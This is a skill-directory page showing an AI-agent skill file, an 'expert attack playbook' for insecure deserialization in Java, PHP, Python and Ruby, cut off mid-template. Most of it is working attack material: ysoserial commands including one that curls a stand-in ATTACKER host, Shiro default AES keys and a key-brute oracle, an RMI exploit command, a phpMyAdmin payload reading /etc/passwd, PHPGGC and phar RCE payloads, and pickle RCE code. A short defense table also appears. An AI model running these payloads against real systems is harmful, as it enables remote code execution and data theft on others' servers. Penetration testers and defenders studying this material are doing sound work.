Skip to main content

deserialization-insecure

Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
Kur1sulab/blackbox
آخر نشاط في المصدر
١٢ أغسطس ٢٠٢٦ في ١٥:١٧
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٢
التفرعات
٠

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

مستكشف الملفات
2 ملفات

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
deserialization-insecure
description
Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.
# SKILL: Insecure Deserialization — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain. ## 0. RELATED ROUTING - [jndi-injection](../hack-jndi-injection/SKILL.md) when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization) - unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP) - [ghost-bits-cast-attack](../hack-ghost-bits-cast-attack/SKILL.md) when a WAF blocks your BCEL ClassLoader or Fastjson `@type` payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint ### Advanced Reference Also load [JAVA_GADGET_CHAINS.md](./JAVA_GADGET_CHAINS.md) when you need: - Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.) - SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure - Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints - .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r) - Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains - Detection fingerprints: magic bytes table by format (Java `AC ED`, .NET `AAEAAD`, Python pickle `80 0N`, PHP `O:`, Ruby `04 08`) --- ## 1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION? ### Java Serialized Objects | Indicator | Where to Look | |---|---| | Hex `ac ed 00 05` | Raw binary in request/response body, cookies, POST params | | Base64 `rO0AB` | Cookies (`rememberMe`), hidden form fields, JWT claims | | `Content-Type: application/x-java-serialized-object` | HTTP headers | | T3/IIOP protocol traffic | WebLogic ports (7001, 7002) | ### PHP Serialized Objects | Indicator | Where to Look | |---|---| | `O:NUMBER:"ClassName"` pattern | POST body, cookies, session files | | `a:NUMBER:{` (array) | Same locations | | `phar://` URI usage | File operations accepting user-controlled paths | ### Python Pickle | Indicator | Where to Look | |---|---| | Hex `80 03` or `80 04` (protocol 3/4) | Binary data in requests, message queues | | Base64-encoded binary blob | API params, cookies, Redis values | | `pickle.loads` / `pickle.load` in source | Code review / whitebox | --- ## 2. JAVA — GADGET CHAINS AND TOOLS ### ysoserial — Primary Tool ```bash # Generate payload (example: CommonsCollections1 chain with command) java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin # Base64-encode for HTTP transport java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0 # Common chains to try (ordered by frequency of vulnerable dependency): # CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x # Spring1, Spring2 — Spring Framework # Groovy1 — Groovy # Hibernate1 — Hibernate # JBossInterceptors1 — JBoss # Jdk7u21 — JDK 7u21 (no extra dependency) # URLDNS — DNS-only confirmation (no RCE, works everywhere) ``` ### URLDNS — Safe Confirmation Probe URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage: ```bash java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin ``` DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains. ### Commons Collections — The Classic Chain The vulnerability exists when `org.apache.commons.collections` (3.x) is on the classpath and the application calls `readObject()` on untrusted data. Key classes in the chain: `InvokerTransformer` → `ChainedTransformer` → `TransformedMap` → triggers `Runtime.exec()` during deserialization. ### Apache Shiro — rememberMe Deserialization Shiro uses AES-CBC to encrypt serialized Java objects in the `rememberMe` cookie. ```text Known hard-coded keys (SHIRO-550 / CVE-2016-4437): kPH+bIxk5D2deZiIxcaaaA== # most common default wGJlpLanyXlVB1LUUWolBg== # another common default in older versions 4AvVhmFLUs0KTA3Kprsdag== Z3VucwAAAAAAAAAAAAAAAA== ``` **Attack flow**: 1. Detect: response sets `rememberMe=deleteMe` cookie on invalid session 2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat) 3. AES-CBC encrypt with known key + random IV 4. Base64-encode → set as `rememberMe` cookie value 5. Send request → server decrypts → deserializes → RCE **DNSLog confirmation** (before full RCE): use URLDNS chain → `java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"` → encrypt → set cookie → check DNSLog for hit. **Post-fix (random key)**: Key may still leak via padding oracle, or another CVE (SHIRO-721). #### Shiro Key-Brute Oracle (SimplePrincipalCollection) — field-verified method Brute-forcing the AES key does NOT need a gadget chain or DNSLog. Encrypt a **legitimate empty `SimplePrincipalCollection`** (a Shiro-core class, always on classpath, harmless — deserializes to an empty principals object) and watch the response: - Key **wrong** → AES-CBC padding fails → response sets `rememberMe=deleteMe` - Key **correct** → decrypt + deserialize succeed → response has **no** `deleteMe` Critical pitfalls (field lesson, 2026-08 field engagement): 1. **Do NOT trust hardcoded template bytes from blogs.** The circulating "classic" SimplePrincipalCollection hex template has wrong name-length/suid/ending for many Shiro versions — `serialVersionUID` differs per Shiro release (shiro-core 1.2.4 = `a87f5825c6a3084a`; blog templates carry other versions). A bad template yields all-`deleteMe` **false negatives** even when the key is in your dictionary. Generate the template yourself with local Java + the shiro-core jar: ```java // javac -source 8 -target 8 -cp shiro-core.jar Gen.java && java -cp "shiro-core.jar;." Gen ObjectOutputStream o = new ObjectOutputStream(baos); o.writeObject(new SimplePrincipalCollection()); // hex-print baos.toByteArray() ``` shiro-core jar from Maven Central (e.g. `org/apache/shiro/shiro-core/1.2.4/`). Known-good shiro-core 1.2.4 bytes (verify against your own generation): `aced0005 7372 0032 6f7267...436f6c6c656374696f6e a87f5825c6a3084a 030001 4c000f 7265616c6d5072696e636970616c73 74000f 4c6a6176612f7574696c2f4d61703b 78 70 70 770100 78` 2. **Payload MUST be a `PrincipalCollection`.** Shiro's `convertBytesToPrincipals` casts `readObject()` result to `PrincipalCollection` — a JDK-class oracle payload (Integer/HashMap) throws ClassCastException → also `deleteMe`, indistinguishable from wrong key. 3. **Try BOTH IV modes per key**: (A) legacy `iv = key` (old CookieRememberMeManager uses cipherKey as IV, cookie = ciphertext only); (B) `iv-prepend` (cookie = iv + ciphertext). Some builds differ. 4. Dictionary: `shiro_keys_200.txt` (Mr-xn/Penetration_Testing_POC) ~200 common keys covers most defaults; a custom random key is unbrutable — stop and record "mechanism present, key not in common dict" honestly. 5. If the key hits, THEN escalate to gadget chains (URLDNS → CommonsBeanutils/CC depending on classpath) as per the standard flow above. ### WebLogic Deserialization Multiple vectors: - **T3 protocol** (port 7001): direct serialized object injection - **XMLDecoder** (CVE-2017-10271): XML-based deserialization via `/wls-wsat/CoordinatorPortType` - **IIOP protocol**: alternative to T3 ```bash # T3 probe — check if T3 is exposed: nmap -sV -p 7001 TARGET # Look for: "T3" or "WebLogic" in service banner ``` ### Java RMI Registry RMI Registry (port 1099) accepts serialized objects by design: ```bash # ysoserial exploit module for RMI: java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id" # Requires: vulnerable library on target's classpath # Works on: JDK <= 8u111 without JEP 290 deserialization filter ``` ### JDK Version Constraints | JDK Version | Impact | |---|---| | < 8u121 | RMI/LDAP remote class loading works | | 8u121-8u190 | `trustURLCodebase=false` for RMI; LDAP still works | | >= 8u191 | Both RMI and LDAP remote class loading blocked | | >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) | --- ## 3. PHP — unserialize AND PHAR ### Magic Method Chain PHP deserialization triggers magic methods in order: ``` __wakeup() → called immediately on unserialize() __destruct() → called when object is garbage-collected __toString() → called when object is used as string __call() → called for inaccessible methods ``` **Attack**: craft a serialized object whose `__destruct()` or `__wakeup()` triggers dangerous operations (file write, SQL query, command execution, SSRF). ### Serialized Object Format ```php O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";} // O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES} ``` ### phpMyAdmin Configuration Injection (Real-World Case) phpMyAdmin `PMA_Config` class reads arbitrary files via `source` property: ```text action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";} ``` ### PHPGGC — PHP Gadget Chain Generator ```bash # List available chains: phpggc -l # Generate payload (example: Laravel RCE): phpggc Laravel/RCE1 system id # Common chains: # Laravel/RCE1-10 # Symfony/RCE1-4 # Guzzle/RCE1 # Monolog/RCE1-2 # WordPress/RCE1 # Slim/RCE1 ``` ### Phar Deserialization Phar archives contain serialized metadata. Any file operation on a `phar://` URI triggers deserialization — even when `unserialize()` is never directly called. **Triggering functions** (partial list): ``` file_exists() file_get_contents() fopen() is_file() is_dir() copy() filesize() filetype() stat() include() require() getimagesize() ``` **Attack flow**: 1. Upload a valid file (e.g., JPEG with phar polyglot) 2. Trigger file operation: `file_exists("phar://uploads/avatar.jpg")` 3. PHP deserializes phar metadata → gadget chain executes ```bash # Generate phar with PHPGGC: phpggc -p phar -o exploit.phar Monolog/RCE1 system id ``` --- ## 4. PYTHON — PICKLE ### __reduce__ Method Python's `pickle.loads()` calls `__reduce__()` on objects during deserialization, which can return a callable + args: ```python import pickle import os class Exploit: def __reduce__(self): return (os.system, ("id",)) payload = pickle.dumps(Exploit()) # Send payload to target that calls pickle.loads() ``` ### Analyzing Pickle Opcodes ```python import pickletools pickletools.dis(payload) # Shows opcodes: GLOBAL, REDUCE, etc. # Look for GLOBAL referencing dangerous modules (os, subprocess, builtins) ``` ### Common Python Deserialization Sinks ```python pickle.loads(user_data) pickle.load(file_handle) yaml.load(data) # PyYAML without Loader=SafeLoader jsonpickle.decode(data) shelve.open(path) ``` ### Defensive Bypass: RestrictedUnpickler Even when `RestrictedUnpickler.find_class` is used, check if the whitelist is too broad: ```python class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == "builtins" and name in safe_builtins: return getattr(builtins, name) raise pickle.UnpicklingError(f"forbidden: {module}.{name}") ``` If `safe_builtins` includes `eval`, `exec`, or `__import__` → still exploitable. --- ## 5. DETECTION METHODOLOGY ``` Found binary blob or encoded object in request/cookie? ├── Java signature (ac ed / rO0AB)? │ ├── Use URLDNS probe for safe confirmation │ ├── Identify libraries (error messages, known product) │ └── Try ysoserial chains matching identified libraries │ ├── PHP signature (O:N:"...)? │ ├── Identify framework (Laravel, Symfony, WordPress) │ ├── Try PHPGGC chains for that framework │ └── Check for phar:// wrapper in file operations │ ├── Python (opaque binary, base64 blob)? │ ├── Try pickle payload with DNS callback │ └── Check if PyYAML unsafe load is used │ └── Not sure? ├── Try URLDNS payload (Java) — check DNS ├── Try PHP serialized test string └── Monitor error messages for class loading failures ``` --- ## 6. DEFENSE AWARENESS | Language | Mitigation | |---|---| | Java | JEP 290 deserialization filters; whitelist allowed classes; avoid `ObjectInputStream` on untrusted data; use JSON/Protobuf instead | | PHP | Avoid `unserialize()` on user input; use `json_decode()` instead; block `phar://` in file operations | | Python | Use `pickle` only for trusted data; use `json` for external input; PyYAML: always use `yaml.safe_load()` | --- ## 7. QUICK REFERENCE — KEY PAYLOADS ```text # Java — URLDNS confirmation java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net" # Java — RCE via CommonsCollections java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" # PHP — Laravel RCE phpggc Laravel/RCE1 system "id" # PHP — Phar polyglot phpggc -p phar -o exploit.phar Monolog/RCE1 system "id" # Python — Pickle RCE python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())" # Shiro default key test rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)> ``` --- ## 8. RUBY DESERIALIZATION ### Ruby Marshal - `Marshal.load` on untrusted data → RCE - Fingerprint: binary data, no common text header - Gadget chains exist for various Ruby versions - Docker verification: hex payload via `[hex_string].pack("H*")` ### Ruby YAML (YAML.load) - `YAML.load` (not `YAML.safe_load`) executes arbitrary Ruby objects - **Pre Ruby 2.7.2**: `Gem::Requirement` chain → `git_set: id` / `git_set: sleep 600` - **Ruby 2.x-3.x**: `Gem::Installer` → `TarReader` → `Kernel#system` chain (longer, multi-step) - Always test: `YAML.load("--- !ruby/object:Gem::Installer\ni: x")` for class instantiation check - Payload template: ```yaml --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList type: :runtime specs:
عرض على GitHub
ملف SKILL.md هذا كبير جدا، لذلك يعرض SkillsMP القسم الاول فقط هنا. عرض على GitHub